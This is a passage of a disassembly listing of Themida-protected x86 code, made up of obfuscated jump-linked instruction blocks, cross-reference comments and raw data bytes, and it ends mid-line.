loc_54FCE5: ; CODE XREF: Themida_:00550D79j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54B23A ; --------------------------------------------------------------------------- db 5Ah dd 0D62B951h, 0E9C16043h, 1E98106h, 81000000h, 0D36E39E1h dd 3DBD5505h, 0E97AB533h, 0FFFFF210h, 0C8FECEB0h, 704540Ch dd 0F086F324h, 0F086D6F6h, 37E9F734h, 81FFFFB9h, 0D15A81EFh dd 5FFB0140h, 4C381h, 1C330000h, 241C3124h, 8B241C33h dd 0CB682424h, 89000015h, 52E9240Ch db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD5F: ; CODE XREF: Themida_:0054BB73j mov ebx, 0 jmp loc_545FF7 ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0C2h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FD6F: ; CODE XREF: Themida_:00547177j push ebp push esp jmp loc_548965 ; --------------------------------------------------------------------------- aDSz db 'Θι',0Ah,0 align 2 loc_54FD7E: ; CODE XREF: Themida_:0054C7F5j xor ecx, edx pop edx jmp loc_5506A8 ; --------------------------------------------------------------------------- dw 348Bh dd 4C48324h, 5C24048Fh, 0E9C8AF0Fh, 0FFFFC83Dh, 0E904C483h dd 0DE0h, 8EDF780h, 0EEC05BFEh, 9C75E905h, 0E95AFFFFh dd 0FFFFD420h, 401665Ch, 0D5E99C24h, 31FFFF5Fh, 1C33241Ch dd 0D475E924h, 0D6F6FFFFh, 88F8F680h, 24148BF1h, 0F8E5E950h dd 0C483FFFFh, 40C38104h, 5E7AB67Fh, 5618E12Dh, 5D8294Ah dd 4A5618E1h, 8251E95Bh, 0F181FFFFh, 608816F8h, 5B6BBE56h dd 0F1313F36h, 57D1F75Eh, 1D8E3DBFh, 5FF901F6h, 53E9CB29h dd 55FFFFCDh, 0FF9AB6E9h, 815E5FFFh, 1D7C20C7h, 0D4BD557Bh dd 0E956DD3Dh, 0FFFF66F5h, 2247488h, 24148B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 2 add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_545D94 ; --------------------------------------------------------------------------- loc_54FE55: ; CODE XREF: Themida_:0054D15Ej pop esi add esp, 4 sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], dx push ax pushf jmp loc_545D94 ; --------------------------------------------------------------------------- unicode 0, <h> dw 3Ch dw 8900h dw 2404h dd 8BEB895Dh, 0B9E9242Ch, 0B9000011h, 1770404Ch, 0A79665BAh dd 0E9CA2961h, 0FFFFA36Ch, 4BAh, 31C58100h, 51356137h dd 587B48B9h, 59CD0162h, 0B850D501h, 62587B48h, 8158C529h dd 613731EDh, 2434FF35h, 4C4835Ah, 4C581h, 2C330000h, 172FE924h dd 28F0000h, 0FF5EC3E9h, 81E981FFh, 29069074h, 0FB48E9C1h dd 0D629FFFFh, 0C683585Ah, 24348702h, 6624248Bh, 2404B30Fh dd 5E9EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FEF6: ; CODE XREF: Themida_:0054A644j push esi mov esi, 729D7B8Ch shl esi, 7 xor esi, edx xor edx, esi xor esi, edx jmp loc_550295 ; --------------------------------------------------------------------------- dw 0C201h dd 6787EA81h, 81587F5Eh, 7A616AC2h, 0EFC2810Eh, 0E9463168h dd 0FFFF9D65h, 8904EC83h, 2CE92404h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54FF2F: ; CODE XREF: Themida_:00549E45j pop ebx push dword ptr [esp] jmp loc_54BB00 ; --------------------------------------------------------------------------- dd 0E902EBC1h, 0FFFFF1E4h, 5A66F728h, 0C780CF28h, 2434FF39h dd 83240C8Bh, 0C48304C4h, 1EF8004h, 0FAF780h, 0C3805BF8h dd 6BC380E8h, 0E94CEB80h, 0FFFF9868h, 0FF5E23E9h, 2474FFFFh dd 5EBCE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54FF7A: ; CODE XREF: Themida_:0054F796j sub eax, esi jmp loc_54D7AC ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 2D04C483h, 209A02CBh, 0CB05E801h, 8B209A02h, 0C481242Ch dd 4, 0FF8C1DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54FFA1: ; CODE XREF: Themida_:0054D314j add eax, 8008D025h mov ebp, eax pop eax jmp loc_548AB2 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC83240Ch, 240C8904h, 7368E189h, 8900005Eh, 4BF243Ch dd 56000000h, 494AF6BEh, 847DE91Ch, 0D830FFFFh, 0FFF6C3E9h dd 2414F7FFh, 0E5EB815Bh, 81DA812Eh, 3A1946EAh, 81DA011Ah dd 3A1946C2h, 0C2815B1Ah, 68723B9Ah, 8904EC83h, 0D9B9240Ch dd 0E926C949h, 0FFFF7B54h, 80EDCE80h, 0F6808FEEh, 87BCE9DEh dd 0EFC1FFFFh, 7F78102h, 0E9000398h, 0FFFFA684h, 815EF529h dd 15FAEF5h, 0CF58156h, 1EE6D31h, 4335DE8h, 24043124h dd 5C240433h, 240C8B66h, 546568h, 243C8900h, 33AE9h db 0 ; --------------------------------------------------------------------------- loc_550051: ; CODE XREF: Themida_:00547FC9j not eax or eax, 504E7FBBh and eax, 551E4EEEh jmp loc_549778 ; --------------------------------------------------------------------------- dw 0CD89h dd 81240C8Bh, 4C4h, 81E5D100h, 0BA34B3F5h, 215DE97Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55007A: ; CODE XREF: Themida_:005513A6j push 7F7h mov [esp], edx mov dh, 2Dh add bl, dh pop edx push eax mov al, 0C0h jmp loc_5519BD ; --------------------------------------------------------------------------- db 1 dd 2434FFEBh, 4C4815Dh, 83000000h, 1C8704EBh, 0FDFE924h dd 0C6810000h, 57B86128h, 581A055Dh, 0F0011BB1h, 2E6851h dd 1FE94CC8h, 2DFFFFFCh, 65614493h, 12568F05h, 0A79FE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500CE: ; CODE XREF: Themida_:00551054j jmp loc_545D94 ; --------------------------------------------------------------------------- loc_5500D3: ; CODE XREF: Themida_:0054604Aj mov ebx, [esp] add esp, 4 jmp loc_54BF50 ; --------------------------------------------------------------------------- dw 0E954h dd 0E8Fh, 0F0E9D301h db 0CDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5500EB: ; CODE XREF: Themida_:0054EAC2j add esi, 4 jmp loc_549C15 ; --------------------------------------------------------------------------- dw 2C87h dd 0AF23E924h, 5F54FFFFh, 66E2B850h, 3005420Fh, 510C9B42h dd 0FFB84AE9h, 5BDA29FFh, 0E9241487h, 0FFFFF776h, 0B365F181h dd 0C801005Bh, 75E95759h, 50FFFFEAh, 5C62E99Ch, 0EC83FFFFh dd 24048904h, 0E957E089h, 1BB4h, 2424895Ch, 4240483h, 81240C8Bh dd 4C4h, 15E8E900h, 1C890000h, 25EB6824h, 0C890000h, 6420E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550166: ; CODE XREF: Themida_:0054837Ej mov esi, [esp] push 7BECh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi jmp loc_55220B ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0FFCD19E9h, 0F7DDF7FFh, 0D58745DDh, 0FF99C9E9h, 28EE81FFh dd 8144D65Dh, 28121FEEh, 0DABD5555h, 8162985Eh, 0FC010AC6h dd 0E9EE293Bh, 0FFFFE857h, 9D1C77FFh, 1CD25966h, 0C9E99C24h dd 50FFFF5Bh, 4B8h, 58C72900h, 5C243C87h, 0B3241C89h, 55EB8095h dd 505BD828h, 0C4FE7AB4h, 0FFD2CDE9h, 5E089FFh, 4, 2BD55h dd 0F3050000h, 2D7C601Eh, 22326FFEh, 0E411D405h, 2DE8013Fh dd 3FE411D4h, 326FFE05h, 1EF32D22h, 2C8B7C60h, 58545024h dd 0E904EC83h, 0FFFFA6C3h, 0E9242C87h, 0FFFFEAC0h, 0E95BDF21h dd 0FFFFF4C3h, 0C3151BAh, 50F2816Ah, 81307E45h, 375900F2h dd 7CE95058h, 89FFFFB6h, 0C5B2E9E1h, 0CF01FFFFh, 4347BA52h dd 0F281797Dh, 38EE3F66h, 70C28142h, 0E91D685Ah, 0FFFF78C3h dd 4F223505h, 0B267E946h, 433FFFFh, 24043124h, 8B240433h dd 9E92424h, 89FFFF5Bh, 0E189240Ch, 0FF616EE9h db 0FFh ; --------------------------------------------------------------------------- loc_550295: ; CODE XREF: Themida_:0054FF05j not edx push esi push edx pop esi pop edx xor esi, 0C1890884h sub ebp, esi pop esi jmp loc_54B59E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFD36AE9h, 0B3BF57FFh, 0E97C8C38h, 0FFFF61FBh, 8124148Bh dd 4C4h, 285F8800h, 5B2434FFh, 0E904C483h, 0FFFF5AC0h ; --------------------------------------------------------------------------- loc_5502D4: ; CODE XREF: Themida_:0054DC4Fj mov edi, 2 add eax, edi pop edi xchg eax, [esp] jmp loc_551219 ; --------------------------------------------------------------------------- dd 0E9F9F766h, 19B0h ; --------------------------------------------------------------------------- loc_5502EC: ; CODE XREF: Themida_:0054B3CBj push ebx jmp loc_54A26D ; --------------------------------------------------------------------------- dw 8F5Fh dd 575C2404h, 9F2F33BFh, 4E7C14Ah, 0C781D7F7h, 6AFC5B6Ch dd 8746F787h, 3E6E9F7h, 0C1880000h, 0C8BCE88h, 4C48324h dd 52F48850h, 0D388E288h, 91E9585Ah, 68FFFFFFh, 6759h dd 0E9241489h, 0FFFF5A5Ch, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 50E1EE2h sub edi, 50E1EDEh add ebp, edi mov edi, [esp] jmp loc_54A99F ; --------------------------------------------------------------------------- db 66h, 50h, 0B0h dd 66C5201Eh db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55057A ; --------------------------------------------------------------------------- db 0F7h dd 5E9C1D9h, 25BFE981h, 0C181488Ah, 62C1C1FFh, 3FAC381h dd 0CB014E51h, 21FCB951h, 5EE95AC0h, 54FFFFBCh, 83243C8Bh dd 0B85004C4h, 16B82D05h, 3725D8F7h, 402AC341h, 0FF87F7E9h dd 58C129FFh, 0F703E9C1h, 0F421E9D9h, 2C8BFFFFh, 4C48124h dd 87000000h, 535C2434h, 0C381E389h, 4, 0FF7308E9h db 0FFh ; --------------------------------------------------------------------------- loc_5503CD: ; CODE XREF: Themida_:00549135j push ebx mov ebx, 74AB583Dh push edi mov edi, 64A517C7h neg edi shr edi, 4 dec edi sub edi, 43FB12CAh add edi, 118CC4EAh mov edx, edi pop edi jmp loc_54AE86 ; --------------------------------------------------------------------------- db 5Ah dd 1755932Dh, 52D8013Fh, 175593BAh, 5AD0013Fh, 2C0835Bh dd 0FFB147E9h, 5D3968FFh, 3C890000h, 525BF24h, 0D7F749DDh dd 70A2F781h, 0F8317F94h, 83243C8Bh, 0C60104C4h, 4C68158h dd 68000000h, 101Fh, 0FF243489h, 0E9042474h, 0FFFFF942h dd 24148B66h, 815F5457h, 4C7h, 61E86800h, 2C890000h, 0BFBE5624h dd 0E912075Eh, 0FFFFB527h, 4C381h, 2CE90000h, 0FEFFFF83h dd 1C19E9CEh, 835F0000h, 0C8904ECh, 4B924h, 0CF010000h dd 0FFD536E9h db 0FFh ; --------------------------------------------------------------------------- loc_550489: ; CODE XREF: Themida_:005489C1j pop esi xchg ebp, [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_55056B ; --------------------------------------------------------------------------- dw 815Dh dd 4ECh, 241C8900h, 102FE9h, 4EC8300h, 89243489h, 49BE9E6h dd 34FF0000h, 0C4815924h, 4, 0FF99F4E9h, 63BE56FFh, 177323Eh dd 0D7E95EF5h, 0BFFFFFECh, 1240D30h, 808DE94Fh, 0CB81FFFFh dd 7ED17A97h, 3080C381h, 49E9309Dh, 31FFFFFAh, 24348BF2h dd 53E18951h, 4BBh, 5BD90100h, 0E904C183h, 0FFFFEF0Ah dd 243063BAh, 3EAC131h, 0C108EAC1h, 0F28105E2h, 33BD69ABh dd 76A8EA81h, 0C28130EEh, 0FF7DCB20h, 0E95AD631h, 0FFFF689Eh dd 8925E95Eh, 0E789FFFFh, 54C468h, 24348900h, 685EE4BEh dd 0DEF74E39h, 8104EEC1h, 0C31F09E6h, 6E81E976h, 34FFFFFFh dd 0C4815924h, 4, 8904EC83h, 0AAE9241Ch db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55056B: ; CODE XREF: Themida_:00550495j jmp loc_545D94 ; --------------------------------------------------------------------------- dd 28C104ACh, 0BDCAE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55057A: ; CODE XREF: Themida_:00550362j add ebp, 4 add ebp, 2 xchg ebp, [esp] pop esp jmp loc_54E66E ; --------------------------------------------------------------------------- dd 7495BE56h, 0F0095DD0h, 0E92434FFh, 0FFFF6228h, 46E9D121h dd 58FFFFD8h, 7F7A68h, 240C8900h, 0FFABC0E9h, 61B850FFh dd 0E9630C53h, 0FFFFF2E5h ; --------------------------------------------------------------------------- loc_5505BC: ; CODE XREF: Themida_:0054961Dj push 8A722D3h push dword ptr [esp] pop ebx add esp, 4 jmp loc_546D21 ; --------------------------------------------------------------------------- db 64h, 66h, 8Bh dd 51686602h, 6059E90Dh, 3C87FFFFh, 48B5C24h, 0E6895624h dd 4C681h, 0C6810000h, 4, 0E9243487h, 0FFFFCD52h, 242C875Ah dd 0E924248Bh, 0FFFFFE40h, 3D068h, 24348900h, 0C8E95555h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550613: ; CODE XREF: Themida_:0054C50Cj mov eax, [esp] add esp, 4 or ebx, ebx jnz loc_546990 push ecx jmp loc_54EC7B ; --------------------------------------------------------------------------- db 5 dd 7994174Dh, 4D0DD0F7h, 4050D820h, 0FC2B6C2Dh, 58C501D6h dd 0FFD30DE9h, 87C781FFh, 1308E02h, 87EF81C7h, 8B308E02h dd 23E92404h, 81FFFF58h, 4C3h, 19E5E900h, 66640000h, 5702B60Fh dd 14E9E789h, 8BFFFFAFh, 54E9243Ch, 4300000Dh, 0FF6802E9h dd 48B66FFh, 0AFE95724h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550687: ; CODE XREF: Themida_:00551402j pop cx jmp loc_548957 ; --------------------------------------------------------------------------- dw 0BA52h dd 649A7DA5h, 0FF7B6EE9h, 1C77FFFFh, 1858669Dh, 0E99C2404h dd 0FFFF56ECh ; --------------------------------------------------------------------------- loc_5506A8: ; CODE XREF: Themida_:0054FD81j push eax jmp loc_54BBCC ; --------------------------------------------------------------------------- a_hzo db '_hO',0 align 4 dd 89241C89h, 0A0F2E9E3h, 0B850FFFFh, 2, 1309EF81h, 0C7016FE6h dd 39CFB951h, 0F181502Dh, 3FCB2AC6h, 5859CF01h, 2474FF57h dd 48F5F04h, 24248B24h, 3E2468h, 241C8900h, 0E9D48850h dd 0FFFF68D6h, 0A020BB53h, 0DF0183C5h, 5FFB295Bh, 5450C301h dd 0FFDEADE9h db 0FFh ; --------------------------------------------------------------------------- loc_55070D: ; CODE XREF: Themida_:0054694Aj shl edi, 4 push 4489h jmp loc_550EE4 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFF70B8h, 0FF566FE9h, 0C38058FFh, 0EAE3808Ah, 0FE8EC380h dd 0BEF380CBh, 0FF81DAE9h, 240C8BFFh, 0E904C483h, 191Eh dd 5559CF89h, 0EA89FD89h, 243C8B5Dh, 4C481h, 0CBBD0000h dd 310C5443h, 24148BD5h, 8104C483h, 0FFFFFFEDh, 3EDC1FFh dd 0FF5B71E9h, 24248BFFh, 24048B66h, 8904EC83h, 5B54241Ch dd 0FF5BB5E9h db 0FFh ; --------------------------------------------------------------------------- loc_550785: ; CODE XREF: Themida_:0054CCCCj sub esp, 4 jmp loc_54EF9A ; --------------------------------------------------------------------------- db 1, 0D1h, 81h aSkES db 'ιK-e#S»',0 dd 0E9000000h, 0FFFFB7E1h, 98FF381h, 0C3812FC8h, 0DA75B3F8h dd 0FF6454E9h, 241489FFh, 0AA69C7BAh, 31E2814Fh, 925C7E4Dh dd 8192D0F7h, 347D9FCAh, 0FBEA817Bh, 89FBF5FFh, 24148BD5h dd 2104C483h, 155DE9E9h, 48B0000h, 0E037E924h, 0E781FFFFh dd 22B39B0h, 0BE14EF81h, 0F8298C8Fh, 2ABA525Fh, 2D1CD95Ah dd 6F73403Ah, 0FFA020E9h, 558AE9FFh, 875AFFFFh, 248B240Ch dd 0E1F76624h, 0FF9BB2E9h, 7AE953FFh, 81FFFFE3h, 4C2h dd 24148700h, 5566E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55082E: ; CODE XREF: Themida_:00549555j push 539Dh mov [esp], eax mov eax, esp push edx mov edx, 4 jmp loc_55205A ; --------------------------------------------------------------------------- loc_550843: ; CODE XREF: Themida_:00549D1Aj sub esp, 4 jmp loc_54DCEB ; --------------------------------------------------------------------------- aIVh db '<$VhΨ',0 db 77h, 6Dh, 5Eh dd 174CCE81h, 0F6811CC2h, 7DF717DEh, 2D5EF789h, 7B5D5C14h dd 1405F801h, 5F7B5D5Ch, 146DE9h, 24248B00h, 9C2424D3h dd 0FFFE9BE9h, 59CD01FFh, 0FF6943E9h, 2474FFFFh, 48F5904h dd 0E1F65C24h, 0CCB60F66h, 2BAA6866h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFF73DFh, 0E9D9C380h, 0FFFF7BD8h, 83242489h dd 5D042404h, 4C581h, 0ED830000h, 242C8704h, 241C895Ch dd 5087B652h, 8851F088h, 59CB88C1h, 24148B58h, 0FF919FE9h dd 0CEB551FFh, 0E904EC83h, 0FFFFE213h, 4DFE68h, 24348900h dd 3AE95451h, 51FFFFFEh, 8E2E3BB9h, 8EDFE96Eh, 5051FFFFh dd 0FFC2C8E9h, 81D529FFh, 0D831C2C5h, 24148B19h, 5304C483h dd 0FFE6ABE9h, 1D3EBFFFh, 92E90EC6h, 0F6FFFFE2h, 3FB450D6h dd 834B753h, 6919E9FCh, 0E389FFFFh, 4C381h, 0BF570000h dd 58DF747Dh, 0D4FE9h, 4C68100h, 83000000h, 348704EEh dd 24248B24h, 0E9240489h, 0FFFFAD6Bh, 22E9CE01h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55096F: ; CODE XREF: Themida_:0054AB6Dj add ebp, 4 xchg ebp, [esp] mov esp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_54E3FC ; --------------------------------------------------------------------------- dw 8159h dd 4C1h, 5CFFE900h, 0E95EFFFFh, 0FFFF6D4Bh, 4412CA81h dd 0E94A0330h, 0FFFF68CBh, 2B8h, 58C52900h, 0FFA685E9h db 0FFh ; --------------------------------------------------------------------------- loc_5509BD: ; CODE XREF: Themida_:0054E015j pop edi sub ebp, 15892EFFh add ebp, eax add ebp, 15892EFFh pop eax mov ebx, [esp] push 5AEAh jmp loc_54D42D ; --------------------------------------------------------------------------- dw 0CD81h dd 7530088Dh, 3DE9E581h, 0ED8103EAh, 12A28E5h, 0FF8D20E9h dd 0E9DDF6FFh, 0FFFFD15Fh, 4240483h, 0FFE88BE9h, 0F8F580FFh dd 801FED80h, 0E80009C5h, 0E6045966h, 0E62CD828h, 0E968B753h dd 0E8Fh, 0C781D729h, 720A5658h, 6BE95D5Ah, 81FFFFA3h dd 435CA1EEh, 1FBB531Eh, 0E91FEB2Eh, 0FFFFB6DBh, 48B5450h dd 4C48324h, 405h, 4C08300h, 0FFCFB1E9h db 0FFh ; --------------------------------------------------------------------------- loc_550A51: ; CODE XREF: Themida_:0054CDC7j mov edi, 69A5400Ah add edi, 9CC5DE7Dh xor edx, edi pop edi jmp loc_54D696 ; --------------------------------------------------------------------------- dd 86C681h, 0F701204Ah, 4EF815Eh, 87000000h, 248B243Ch dd 24048924h, 0FFDFCBE9h, 0B65266FFh, 0CBCE80B8h, 0C090B753h dd 0F78006E7h, 0F30AE996h, 8B66FFFFh, 89572404h, 4C781E7h dd 81000000h, 4EFh, 0D720E900h, 6651FFFFh, 8966D189h, 5A6659CFh dd 3EF8166h, 0FE89660Ch, 51243C8Bh, 0FFF786E9h, 5AD601FFh dd 6705EE81h, 0C6011C88h, 6705C681h, 0EE811C88h, 207316D1h dd 6A00EE81h, 63E93984h, 8BFFFFA7h, 0C481241Ch, 4, 31240433h dd 4332404h, 8B665C24h, 0E3682404h, 89000016h, 5E542434h dd 0E58BE950h, 8957FFFFh, 0FA8952C7h, 5F5AD689h, 0E9F00158h dd 0FFFFDD93h, 8704E983h, 11E9240Ch, 89FFFFF6h, 0E9542414h dd 0FFFF749Ch ; --------------------------------------------------------------------------- loc_550B38: ; CODE XREF: Themida_:0054679Fj sub edx, 1F4A5E71h mov eax, [esp] push ebx jmp loc_549F16 ; --------------------------------------------------------------------------- db 89h dd 74FF242Ch, 34FF0424h, 0C4835D24h, 24048F04h, 0F24248Bh dd 0C42EE9C8h, 8966FFFFh, 83B62414h, 5107E6C0h, 0FF7767E9h dd 0C3815FFFh, 2, 0E9241C87h, 0FFFF5F7Dh, 0E9C0B60Fh, 0FFFFD446h dd 2BBh, 0FFD98900h, 815B2434h, 4C4h, 59CA0100h, 2474FF52h dd 48F5A04h, 4005C24h, 0E5E99C24h, 8BFFFF51h, 0C4812414h dd 4, 0FE81B151h, 0FEC1FEC1h, 0FEE1D0C1h, 0D4C180C1h, 2859CC00h dd 0B05058E3h, 644BE9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BD6: ; CODE XREF: Themida_:00549F23j xor bh, 95h xor ah, bh mov ebx, [esp] add esp, 4 mov bl, ah jmp loc_54F977 ; --------------------------------------------------------------------------- dd 2BEBC781h, 0FA010371h, 0C4BD555Fh, 8174CC3Dh, 1742ABE5h dd 7CED8132h, 29300400h, 0FF525DEAh, 5A042474h, 0E924048Fh dd 0FFFF8B95h, 243C895Ch, 0FF9CDDE9h, 246C01FFh, 246C8104h dd 9646CB04h, 2D585D4Ah, 28310C8Eh, 81241C8Bh, 4C4h, 243C8B00h dd 0B5EAE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C42: ; CODE XREF: Themida_:005475FEj mov edi, esp push 56B9h jmp loc_54657D ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 4E88300h, 5C240487h, 0F7243489h, 348B2414h, 4C48324h dd 0B850h, 0F0290000h, 8158C689h, 80633DEEh, 5EF201E9h dd 0FFA2E4E9h, 240489FFh, 513D68h, 243C8900h, 0FFFC94E9h db 0FFh ; --------------------------------------------------------------------------- loc_550C91: ; CODE XREF: Themida_:005494DAj mov edi, esp push ebx mov ebx, 5A4E5ACEh add ebx, 794655C8h sub ebx, 0D394B092h add edi, ebx pop ebx add edi, 2 jmp loc_54887D ; --------------------------------------------------------------------------- db 0B9h dd 2, 65E9CD89h, 5900000Ah, 0E904EC83h, 0FFFFE31Fh, 33241431h dd 248B2414h, 0EC8AE924h, 0B9FFFFh, 1000000h, 75B1E9D9h dd 0E588FFFFh, 5859EB88h, 0B951h, 0C1010000h, 0FFEED3E9h dd 0D6F766FFh, 0FFD445E9h, 1AB850FFh, 0D11D137Ah, 0E8C148E0h dd 2E8C106h, 0E902E0C1h, 0FFFFEB1Ah, 578B68h, 24148900h dd 1BAh, 5AD08900h, 34FFC121h, 24048B24h, 55E68956h, 4B3084BDh dd 0D1DDF778h, 2EDC1EDh, 8105E5C1h, 0D33DDCEDh, 0E9EE011Eh dd 1C2h, 0E90CBBBEh, 96EE811Dh, 29ED5DF4h, 50E95EF7h db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D5F: ; CODE XREF: Themida_:0055205Dj add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_545D94 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 3 db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D73: ; CODE XREF: Themida_:0054D8DEj pop eax push 4A22h jmp loc_54FCE5 ; --------------------------------------------------------------------------- dw 0C281h dd 4C17008Ch, 0FFB0A1E9h, 0E9D3F7FFh, 0FFFFD50Bh, 53E9D0F7h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D97: ; CODE XREF: Themida_:00547D66j push dword ptr [esp] jmp loc_54CCA4 ; --------------------------------------------------------------------------- db 80h dd 48BD0C3h, 3FAE924h, 8B660000h, 33E9240Ch, 0BBFFFFA3h dd 9A2568Fh, 8245C01h, 0D1E9585Bh, 58FFFF4Fh, 2C8BE929h dd 4C48124h, 81000000h, 9F52BBE9h, 59C8012Ah, 56E28952h dd 5CAE9h, 4DB95100h, 292E8622h, 0D0F759C8h, 0F708E8C1h dd 0BC0F05D8h, 0C701FE5Ch, 8124048Bh, 4C4h, 0C22FE900h dd 0B850FFFFh, 0C0B757Fh, 0A825D0F7h, 0E9457126h, 0FFFF6A2Ch dd 4C181h, 5CE90000h, 50FFFFC2h, 0FFAC4CE9h, 4C481FFh dd 0E9000000h, 0FFFFE40Eh, 80D0EB80h, 0C8B91EBh, 4C48324h dd 0FFB4F7E9h, 81E289FFh, 4C2h, 4C28100h, 87000000h, 0F5C2414h dd 9C2404A3h, 0FF4F33E9h, 5E9C0FFh, 8FCC180h, 6FE959CBh dd 81FFFF98h, 284CD8E9h, 0F7D98777h, 55D987D3h, 9A5866BDh dd 5DE9019Ch, 0C8BC801h, 4C48324h, 0FF4F03E9h, 2434FFFFh dd 0FFFE26E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E99: ; CODE XREF: Themida_:0054E1BCj push 2A42h mov [esp], edx jmp loc_5513F2 ; --------------------------------------------------------------------------- loc_550EA6: ; CODE XREF: Themida_:00550F45j push dword ptr [esp] pop ebx add esp, 4 xor [esp+4], eax mov eax, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5472A7 ; --------------------------------------------------------------------------- db 51h dd 0FDB75352h, 27BD68h, 240C8900h, 0FFAB26E9h, 0E9E789FFh dd 0FFFF5B9Ah ; --------------------------------------------------------------------------- loc_550EE4: ; CODE XREF: Themida_:00550715j mov [esp], esi jmp loc_54D46C ; --------------------------------------------------------------------------- dd 0BDE9DDF7h, 0FF000012h, 48B2434h, 0E358E924h, 0F430FFFFh dd 0F9AAE95Ah, 0C589FFFFh, 0F283E958h, 0E95DFFFFh, 0FFFF9BC9h dd 91ADF681h, 0F0299CE4h, 0E924348Bh, 0FFFFB30Fh, 8104C483h dd 4F22DC5h, 9A57E9FCh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F32: ; CODE XREF: Themida_:0054B54Fj pop edx mov ch, 73h sub ch, 14h jmp loc_54AF82 ; --------------------------------------------------------------------------- loc_550F3D: ; CODE XREF: Themida_:00548887j add bl, al jmp loc_5513A3 ; --------------------------------------------------------------------------- loc_550F44: ; CODE XREF: Themida_:0054DE83j pop eax jmp loc_550EA6 ; --------------------------------------------------------------------------- dw 0D000h dd 0D2C5Ah, 510D04E8h, 802C90B5h, 8004E828h, 0F5F4E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F62: ; CODE XREF: Themida_:00547252j sub esi, 5CEC664Bh sub esi, 21D51053h jmp loc_54BECB ; --------------------------------------------------------------------------- db 58h dd 4D7E9h, 5DE95800h, 0F7FFFF77h, 0F7D1F7D9h, 50F181D1h dd 0E9F2A1F8h, 0FFFF76E0h, 0F53DE957h, 0DE89FFFFh, 83241C8Bh dd 3C8B04C4h, 4C48124h, 21000000h, 0C0095EF0h, 0FF6AA3E9h db 0FFh ; --------------------------------------------------------------------------- loc_550FB1: ; CODE XREF: Themida_:0054638Dj add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] shl eax, cl push edi mov edi, 0FFFFFFFFh push 0BEBh jmp loc_54F8E7 ; --------------------------------------------------------------------------- dd 7049F181h, 0C9812CB9h, 206506C2h, 17B8F181h, 0D1F716C3h dd 3EC7E981h, 0E9813530h, 47C3479h, 0FFEC6DE9h, 0E1E954FFh db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_551003: ; CODE XREF: Themida_:0054744Aj add edx, edi xor eax, [edx] jmp loc_54EE94 ; --------------------------------------------------------------------------- dd 0EA88C588h, 88505859h, 58E788D4h, 0FF7153E9h, 0D3F75DFFh dd 0FFF77BE9h, 240431FFh, 0E9240433h, 0FFFFED84h, 0E9E8885Bh dd 0FFFF7EFDh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] add esp, 4 jmp loc_5500CE ; --------------------------------------------------------------------------- db 5Ah, 31h, 0C2h dd 0FF4D33E9h, 242C8BFFh, 0E9E68956h, 0FFFF7746h, 8301C683h dd 2C8904ECh, 8F96BD24h, 0EE816A0Ah, 57B86128h, 0FFC34AE9h dd 24248BFFh, 83243C89h, 148904ECh, 1BA24h, 81520000h dd 2BA92404h, 815F701Eh, 1E2BA9EFh, 0F8215A70h, 0E9243C8Bh dd 0FFFF56FCh, 9C2404D2h, 0FFBE58E9h db 0FFh ; --------------------------------------------------------------------------- loc_5510B9: ; CODE XREF: Themida_:0054F697j mov eax, 6B3D0F25h jmp loc_54B362 ; --------------------------------------------------------------------------- db 8Fh dd 0D35C2404h, 0C5E92424h, 89FFFF4Ch, 0E6892434h, 4C681h dd 0C6830000h, 0D99AE904h, 0EBC1FFFFh, 30C38103h, 513B1F4Eh dd 